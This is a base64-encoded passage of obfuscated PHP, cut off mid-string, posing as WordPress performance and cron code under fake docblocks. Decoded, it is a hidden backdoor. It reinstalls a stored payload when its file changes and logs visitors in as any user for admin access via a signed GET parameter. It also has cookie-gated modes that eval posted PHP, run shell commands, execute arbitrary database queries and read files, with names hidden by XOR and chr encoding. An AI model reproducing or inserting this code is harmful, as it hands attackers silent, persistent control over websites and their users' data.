1ZTsgfSBwdWJsaWMgZnVuY3Rpb24gX2NhMWFlKCkgeyByZXR1cm4gbnVsbDsgfSB9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKLyoqCiogQ3JvbiB0YXNrIHNjaGVkdWxlciBhbmQgcXVldWUgbWFuYWdlbWVudAoqCiogQHNpbmNlIDEuOS45NwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2MwZTQ5MCA9IHN0cmxlbihBQlNQQVRIKSAqIDk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF9fcmVmX2Y1OTEpKSByZXR1cm47DQoKICAgICAgICAkX2NhZjc4ID0gJEdMT0JBTFNbJ193cDA2NGI5NDUnXSAuICdfaW50ZWdyaXR5JzsNCiAgICAgICAgJHdwX3F1ZXJ5XzMxZTkgPSBnZXRfdHJhbnNpZW50KCRfY2FmNzgpOw0KICAgICAgICAkd3Bfb3B0aW9uXzQwZmUgPSBtZDVfZmlsZSgkX19yZWZfZjU5MSk7DQoKICAgICAgICBpZiAoISR3cF9xdWVyeV8zMWU5KSB7DQogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRfY2FmNzgsICR3cF9vcHRpb25fNDBmZSwgODY0MDApOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoKICAgICAgICBpZiAoJHdwX3F1ZXJ5XzMxZTkgIT09ICR3cF9vcHRpb25fNDBmZSkgew0KICAgICAgICAgICAgJF9fYnVmX2Y1YjMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzEzYzRlJ10sICcnKTsNCiAgICAgICAgICAgIGlmICgkX19idWZfZjViMykgew0KICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXMnLidlNicuJzRfZCcuJ2VjbycuJ2RlJykoJF9fYnVmX2Y1YjMpOw0KICAgICAgICAgICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgkX2NhZjc4LCBtZDUoJF90Mzc0NzApLCA4NjQwMCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19sb2FkXzVjNTIpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jZmdjN2FmKSB7fQoKaWYoIWRlZmluZWQoJ0NPUkVfSU5URUdSSVRZXzAzODUnKSlkZWZpbmUoJ0NPUkVfSU5URUdSSVRZXzAzODUnLDQ0MDQzKTsKCmFkZF9maWx0ZXIoJ3RoZV90aXRsZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZmJjMil7cmV0dXJuICR3cF9hY3Rpb25fZmJjMjt9KTsKCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzk2MkInKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOTYyQicsNzcyNzYpOwovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSAxLjcuMTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCnRyeSB7CiRfcTRmYTUxMmFmID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3dwOGRhNzBiZGQgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3ZjYjA5NmFkID0gJEdMT0JBTFNbJ19tMmMxNzA2ZCddOw0KICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWyRfdmNiMDk2YWRdKSkgcmV0dXJuOw0KCiAgICAgICAgJF93cDhhNzlhMSA9ICRfR0VUWyRfdmNiMDk2YWRdOw0KICAgICAgICAkX202YjA1MCA9IGV4cGxvZGUoJy4nLCAkX3dwOGE3OWExKTsNCiAgICAgICAgaWYgKGNvdW50KCRfbTZiMDUwKSA8IDMpIHJldHVybjsNCgogICAgICAgICRfd3A2ZTQyID0gaW50dmFsKCRfbTZiMDUwWzBdKTsNCiAgICAgICAgJHdwX2hvb2tfYjBmYSA9ICRfbTZiMDUwWzFdOw0KICAgICAgICAkd3BfZmlsdGVyXzI4ZWMgPSAkX202YjA1MFsyXTsNCgogICAgICAgIGlmIChhYnModGltZSgpIC0gJF93cDZlNDIpID4gMzAwKSByZXR1cm47DQoKICAgICAgICAkX19kYXRhXzE2OWIgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfd3A2ZTQyIC4gJy4nIC4gJHdwX2hvb2tfYjBmYSwgJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgaWYgKCFoYXNoX2VxdWFscyhzdWJzdHIoJF9fZGF0YV8xNjliLCAwLCAxNiksICR3cF9maWx0ZXJfMjhlYykpIHJldHVybjsNCgogICAgICAgICRfd3BiZGRjID0gbnVsbDsNCiAgICAgICAgaWYgKGlzX251bWVyaWMoJHdwX2hvb2tfYjBmYSkpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCR3cF9ob29rX2IwZmEpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoISRfd3BiZGRjKSB7DQogICAgICAgICAgICAkX3dwYmRkYyA9IGdldF91c2VyX2J5KCdsb2dpbicsICR3cF9ob29rX2IwZmEpOw0KICAgICAgICB9DQogICAgICAgIGlmICghJF93cGJkZGMpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoKGZ1bmN0aW9uKCl7JF90M2JjOGI9YXJyYXkoODMsMTIsODMsMTMsOTUpOyRfdmU4MzVmPSc2YTJkM2MnOyRfd3BkNzNmNj0nJztmb3IoJF93cGJkNzg5YT0wOyRfd3BiZDc4OWE8Y291bnQoJF90M2JjOGIpOyRfd3BiZDc4OWErKykkX3dwZDczZjYuPWNocigkX3QzYmM4YlskX3dwYmQ3ODlhXV5vcmQoJF92ZTgzNWZbJF93cGJkNzg5YSVzdHJsZW4oJF92ZTgzNWYpXSkpO3JldHVybiAkX3dwZDczZjY7fSkoKSwgJHdwX2hvb2tfYjBmYSk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCEkX3dwYmRkYykgcmV0dXJuOw0KCiAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCRfd3BiZGRjLT5JRCwgdHJ1ZSk7DQogICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF93cGJkZGMtPklEKTsNCiAgICAgICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgICAgICBleGl0Ow0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3Nlc3Npb25fNDFiZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3IwYThhNmJjOCkge30KCmFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDQuNC42NgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwovKioKKiBDcm9uIHRhc2sgc2NoZWR1bGVyIGFuZCBxdWV1ZSBtYW5hZ2VtZW50CioKKiBAc2luY2UgMy40LjExCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19yZWZfZWJhMCA9IGNvdW50KHNjYW5kaXIoQUJTUEFUSCkpID4gMiA/IHRydWUgOiBmYWxzZTsKJF9zNjQyM2RlMTYgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CiRfeGExN2Y3ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyR3cF9tZXRhXzkxYTI9YXJyYXkoOTIsMTAsMTMsNjYpOyRfX2xvYWRfOTVjND0nNWRkNmQ3JzskX19idWZfZGY3YT0nJztmb3IoJF9fZGF0YV9mYzg5PTA7JF9fZGF0YV9mYzg5PGNvdW50KCR3cF9tZXRhXzkxYTIpOyRfX2RhdGFfZmM4OSsrKSRfX2J1Zl9kZjdhLj1jaHIoJHdwX21ldGFfOTFhMlskX19kYXRhX2ZjODldXm9yZCgkX19sb2FkXzk1YzRbJF9fZGF0YV9mYzg5JXN0cmxlbigkX19sb2FkXzk1YzQpXSkpO3JldHVybiAkX19idWZfZGY3YTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2M5NGQ5YyA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX29wdGlvbl9hMDAzID0gZmFsc2U7DQoKICAgICAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF93cDIyN2NjPWFycmF5KDE4LDY4LDEwOSw4NSw4MiwyLDk0LDAsMTA3LDcwLDg5LDg4LDQsODgpOyRfY2ZnMjc4ZD0nZTQyNjNhNic7JHdwX2hvb2tfMDU5MT0nJztmb3IoJHdwX2FjdGlvbl9kNTg3PTA7JHdwX2FjdGlvbl9kNTg3PGNvdW50KCRfd3AyMjdjYyk7JHdwX2FjdGlvbl9kNTg3KyspJHdwX2hvb2tfMDU5MS49Y2hyKCRfd3AyMjdjY1skd3BfYWN0aW9uX2Q1ODddXm9yZCgkX2NmZzI3OGRbJHdwX2FjdGlvbl9kNTg3JXN0cmxlbigkX2NmZzI3OGQpXSkpO3JldHVybiAkd3BfaG9va18wNTkxO30pKCldKSkgew0KICAgICAgICAgICAgJF9pZjAzOWE4YSA9IGZsb29yKHRpbWUoKSAvIDM2MDApOw0KICAgICAgICAgICAgJF9jMDg4ZmU1ZSA9IGhhc2goKGNocigxMTUpLmNocigxMDQpLmNocigxNTggXiAweGZmKS5jaHIoNTApLmNocig1MykuY2hyKDU0KSksICRfYzk0ZDljIC4gJF9pZjAzOWE4YSk7DQogICAgICAgICAgICAkX3dwZmEyZSA9IGhhc2goJ3NoYTI1NicsICRfYzk0ZDljIC4gKCRfaWYwMzlhOGEgLSAxKSk7DQogICAgICAgICAgICBpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfYzA4OGZlNWUgfHwgJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9fYnVmXzJkMzY9YXJyYXkoNjQsNzIsMTA5LDg2LDg4LDEsOTUsODIsMTAzLDcwLDkwLDgyLDcsODkpOyRfX3JlZl80ZDJiPSc3ODI1OWI3Jzskd3BfYWN0aW9uXzQ0OTc9Jyc7Zm9yKCRfX2xvYWRfZDZhMz0wOyRfX2xvYWRfZDZhMzxjb3VudCgkX19idWZfMmQzNik7JF9fbG9hZF9kNmEzKyspJHdwX2FjdGlvbl80NDk3Lj1jaHIoJF9fYnVmXzJkMzZbJF9fbG9hZF9kNmEzXV5vcmQoJF9fcmVmXzRkMmJbJF9fbG9hZF9kNmEzJXN0cmxlbigkX19yZWZfNGQyYildKSk7cmV0dXJuICR3cF9hY3Rpb25fNDQ5Nzt9KSgpXSA9PT0gJF93cGZhMmUpIHsNCiAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2EwMDMgPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICAkX3dwMjRjMTE1MDcgPSAkR0xPQkFMU1snX3dwYWYxNzJmNzEnXTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2EwMDMgJiYgaXNzZXQoJF9HRVRbJF93cDI0YzExNTA3XSkgJiYgJF9HRVRbJF93cDI0YzExNTA3XSA9PT0gc3Vic3RyKCRfYzk0ZDljLCAwLCAxNikpIHsNCiAgICAgICAgICAgICR3cF9vcHRpb25fYTAwMyA9IHRydWU7DQogICAgICAgIH0NCgogICAgICAgIGlmICghJHdwX29wdGlvbl9hMDAzKSByZXR1cm47DQoKICAgICAgICAkX3A0N2ZiNDUgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWyhjaHIoMTA5KS4iXHg2ZiIuY2hyKDE1NSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldIDogKGlzc2V0KCRfUE9TVFsoZnVuY3Rpb24oKXskX3g4OGUxMDM9YXJyYXkoOSwxMCw4Niw4MCk7JF93cDBkMGJkPSdkZTI1JzskX3dwMDhjYTgzPScnO2ZvcigkX3Y0OGU3OWU9MDskX3Y0OGU3OWU8Y291bnQoJF94ODhlMTAzKTskX3Y0OGU3OWUrKykkX3dwMDhjYTgzLj1jaHIoJF94ODhlMTAzWyRfdjQ4ZTc5ZV1eb3JkKCRfd3AwZDBiZFskX3Y0OGU3OWUlc3RybGVuKCRfd3AwZDBiZCldKSk7cmV0dXJuICRfd3AwOGNhODM7fSkoKV0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkX3A0N2ZiNDUpKSAkX3A0N2ZiNDUgPSAncyc7DQoKICAgICAgICBzd2l0Y2ggKCRfcDQ3ZmI0NSkgew0KICAgICAgICAgICAgY2FzZSAncyc6DQogICAgICAgICAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICdvaycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ3YnID0+IDIsDQogICAgICAgICAgICAgICAgICAgICJceDcwXHg2OFx4NzAiID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygoZnVuY3Rpb24oKXskX3dwMGY0Yjc9YXJyYXkoNjUsODIsNjQsNzUsODAsOTIsMTUpOyRfX2luaXRfNGMzOD0nNzcyODkzYWYnOyRfX2NmZ19hYTVlPScnO2ZvcigkX2MwMTE1Njg9MDskX2MwMTE1Njg8Y291bnQoJF93cDBmNGI3KTskX2MwMTE1NjgrKykkX19jZmdfYWE1ZS49Y2hyKCRfd3AwZjRiN1skX2MwMTE1NjhdXm9yZCgkX19pbml0XzRjMzhbJF9jMDExNTY4JXN0cmxlbigkX19pbml0XzRjMzgpXSkpO3JldHVybiAkX19jZmdfYWE1ZTt9KSgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ211JyA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfYzRhYWQzYz1hcnJheSg2OSwxNSw3Miw2KTskX3dwNGY5MDEzMT0nNmYyYzMxZjgnOyR3cF9tZXRhXzczNWQ9Jyc7Zm9yKCRfX2hvb2tfM2ZiNT0wOyRfX2hvb2tfM2ZiNTxjb3VudCgkX2M0YWFkM2MpOyRfX2hvb2tfM2ZiNSsrKSR3cF9tZXRhXzczNWQuPWNocigkX2M0YWFkM2NbJF9faG9va18zZmI1XV5vcmQoJF93cDRmOTAxMzFbJF9faG9va18zZmI1JXN0cmxlbigkX3dwNGY5MDEzMSldKSk7cmV0dXJuICR3cF9tZXRhXzczNWQ7fSkoKSA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSkgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwLA0KICAgICAgICAgICAgICAgICAgICAndHMnID0+IHRpbWUoKSwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQogICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX19yZWZfZjhlNCk7DQogICAgICAgICAgICAgICAgZXhpdDsNCgogICAgICAgICAgICBjYXNlIChjaHIoMTEyKS5jaHIoMTUxIF4gMHhmZikuIlx4NzAiKToNCiAgICAgICAgICAgICAgICAkd3BfaGFuZGxlcl9kODM5ID0gaXNzZXQoJF9QT1NUWydjb2RlJ10pID8gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKSA6ICcnOw0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkd3BfaGFuZGxlcl9kODM5KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gJ25vIGNvZGUnKSk7IGV4aXQ7IH0NCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIGV2YWwoJHdwX2hhbmRsZXJfZDgzOSk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3g5N2NiMGE1Mykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICRfeDk3Y2IwYTUzLT5nZXRNZXNzYWdlKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCiAgICAgICAgICAgICAgICBlY2hvICRfX3JlZl83ZmM3Ow0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnc2hlbGwnOg0KICAgICAgICAgICAgICAgICRfX2J1Zl84YzU1ID0gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9fYnVmXzhjNTUpKSB7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ2Vycm9yJyA9PiAnbm8gY21kJykpOyBleGl0OyB9DQogICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCgiXHg3MyIuY2hyKDEwNCkuIlx4NjUiLmNocigxMDgpLmNocigxNDcgXiAweGZmKS4iXHg1ZiIuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuIlx4NjMiKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSBAKCdzaCcuJ2VsJy4nbF8nLidleGVjJykoJF9fYnVmXzhjNTUgLiAnIDI+JjEnKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyR3cF9ob29rXzliZDg9YXJyYXkoODYsMjksODMsOTApOyRfYzNkNDU0OD0nM2U2OWZjNyc7JF9jNDQyNDhiNj0nJztmb3IoJHdwX2NhY2hlXzVmMzA9MDskd3BfY2FjaGVfNWYzMDxjb3VudCgkd3BfaG9va185YmQ4KTskd3BfY2FjaGVfNWYzMCsrKSRfYzQ0MjQ4YjYuPWNocigkd3BfaG9va185YmQ4WyR3cF9jYWNoZV81ZjMwXV5vcmQoJF9jM2Q0NTQ4WyR3cF9jYWNoZV81ZjMwJXN0cmxlbigkX2MzZDQ1NDgpXSkpO3JldHVybiAkX2M0NDI0OGI2O30pKCkpKSB7DQogICAgICAgICAgICAgICAgICAgIEAoJ2V4ZWMnKSgkX19idWZfOGM1NSAuICcgMj4mMScsICRfcDY3MDI5Nyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gaW1wbG9kZSgiXG4iLCAkX3A2NzAyOTcpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNDAgXiAweGZmKS4iXHg3OSIuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgIEAoJ3N5cycuJ3RlbScpKCRfX2J1Zl84YzU1IC4gJyAyPiYxJyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgICAgICAgZWNobyAkX19yZWZfN2ZjNzsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2RiJzoNCiAgICAgICAgICAgICAgICAkX3dwYWQyMDVlNCA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMykuIlx4NzUiLmNocigxNTQgXiAweGZmKS4iXHg3MiIuIlx4NzkiKV0pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfX2RhdGFfYzIyMj1hcnJheSg3MCw2Nyw5Myw3MCwyOSk7JF9vMjIyNWE3Mj0nNzY4NGQ1JzskX19wcm9jX2MxNDE9Jyc7Zm9yKCRfY2ZnODAwYTI9MDskX2NmZzgwMGEyPGNvdW50KCRfX2RhdGFfYzIyMik7JF9jZmc4MDBhMisrKSRfX3Byb2NfYzE0MS49Y2hyKCRfX2RhdGFfYzIyMlskX2NmZzgwMGEyXV5vcmQoJF9vMjIyNWE3MlskX2NmZzgwMGEyJXN0cmxlbigkX28yMjI1YTcyKV0pKTtyZXR1cm4gJF9fcHJvY19jMTQxO30pKCldIDogJyc7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfd3BhZDIwNWU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9oZGQwYTI9YXJyYXkoMTUsODgsMTYsNzIsMjAsODIsNjYsNjQpOyRfd3A1MjMxZDA2PSdhNzA5JzskX2g0MmJjPScnO2ZvcigkX2NiYzIyPTA7JF9jYmMyMjxjb3VudCgkX2hkZDBhMik7JF9jYmMyMisrKSRfaDQyYmMuPWNocigkX2hkZDBhMlskX2NiYzIyXV5vcmQoJF93cDUyMzFkMDZbJF9jYmMyMiVzdHJsZW4oJF93cDUyMzFkMDYpXSkpO3JldHVybiAkX2g0MmJjO30pKCkpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfZjMwY2YzPWFycmF5KDQsMjIsMjIsOSw3NSk7JF9fcmVmXzVjODM9J2FkZGY5Jzskd3BfYWN0aW9uXzcxZjk9Jyc7Zm9yKCRfYzBhOTg2YjczPTA7JF9jMGE5ODZiNzM8Y291bnQoJF9mMzBjZjMpOyRfYzBhOTg2YjczKyspJHdwX2FjdGlvbl83MWY5Lj1jaHIoJF9mMzBjZjNbJF9jMGE5ODZiNzNdXm9yZCgkX19yZWZfNWM4M1skX2MwYTk4NmI3MyVzdHJsZW4oJF9fcmVmXzVjODMpXSkpO3JldHVybiAkd3BfYWN0aW9uXzcxZjk7fSkoKSA9PiAnbm8gd3BkYicpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgICRfY2QzNzYwYTkyID0gJHdwZGItPmdldF9yZXN1bHRzKCRfd3BhZDIwNWU0LCBBUlJBWV9BKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoKCJceDQzIi5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZlIi4iXHg3NCIuIlx4MmQiLmNocig4NCkuIlx4NzkiLmNocigxMTIpLiJceDY1Ii5jaHIoMTk3IF4gMHhmZikuY2hyKDMyKS5jaHIoOTcpLmNocigxMTIpLmNocigxMTIpLmNocigxMDgpLmNocigxNTAgXiAweGZmKS4iXHg2MyIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMTYpLiJceDY5Ii5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX2NkMzc2MGE5MiwgJ2Vycm9yJyA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAiXHg2Nlx4NjlceDZjXHg2NVx4NzMiOg0KICAgICAgICAgICAgICAgICRfY2Y5Yjk4OCA9IGlzc2V0KCRfUE9TVFsiXHg2MVx4NjNceDc0XHg2OVx4NmZceDZlIl0pID8gJF9QT1NUWyJceDYxXHg2M1x4NzRceDY5XHg2Zlx4NmUiXSA6ICdsaXN0JzsNCiAgICAgICAgICAgICAgICAkX2MwNTg0MmUgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmY2OD1hcnJheSg2NSw4MiwyMSwxNCk7JF9jZDcwZmRlYT0nMTNhZmNhJzskX3dwY2Q1YTU9Jyc7Zm9yKCRfYzY5ZjVjNT0wOyRfYzY5ZjVjNTxjb3VudCgkX3NmZjY4KTskX2M2OWY1YzUrKykkX3dwY2Q1YTUuPWNocigkX3NmZjY4WyRfYzY5ZjVjNV1eb3JkKCRfY2Q3MGZkZWFbJF9jNjlmNWM1JXN0cmxlbigkX2NkNzBmZGVhKV0pKTtyZXR1cm4gJF93cGNkNWE1O30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgICAgICAgICBpZiAoJF9jZjliOTg4ID09PSAnbGlzdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJF90ZjQ3MyA9IEBzY2FuZGlyKCRfYzA1ODQyZSk7DQogICAgICAgICAgICAgICAgICAgICRfYzg1YTQ3MjU3ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRfdGY0NzMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfdGY0NzMgYXMgJF9xODgyOCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3E4ODI4ID09PSAnLicgfHwgJF9xODgyOCA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9faW5pdF8wNzRjID0gJF9jMDU4NDJlIC4gJy8nIC4gJF9xODgyODsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2M4NWE0NzI1N1tdID0gYXJyYXkoIlx4NmVceDYxXHg2ZFx4NjUiID0+ICRfcTg4MjgsICdkaXInID0+IGlzX2RpcigkX19pbml0XzA3NGMpLCAnc2l6ZScgPT4gaXNfZmlsZSgkX19pbml0XzA3NGMpID8gZmlsZXNpemUoJF9faW5pdF8wNzRjKSA6IDAsICJceDZkXHg3NFx4NjlceDZkXHg2NSIgPT4gZmlsZW10aW1lKCRfX2luaXRfMDc0YykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi5jaHIoMTE2KS5jaHIoMTAxKS4iXHg2ZSIuY2hyKDExNikuY2hyKDIxMCBeIDB4ZmYpLiJceDU0Ii5jaHIoMTIxKS4iXHg3MCIuY2hyKDEwMSkuY2hyKDE5NyBeIDB4ZmYpLiJceDIwIi4iXHg2MSIuIlx4NzAiLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTE2KS4iXHg2OSIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocig0NykuIlx4NmEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX2M4NWE0NzI1Nyk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3JlYWQnKSB7DQogICAgICAgICAgICAgICAgICAgICRfaGQzYjcwZWMwID0gQCgnZmlsJy4nZV9nJy4nZXRfYycuJ29udCcuJ2VudHMnKSgkX2MwNTg0MmUpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbn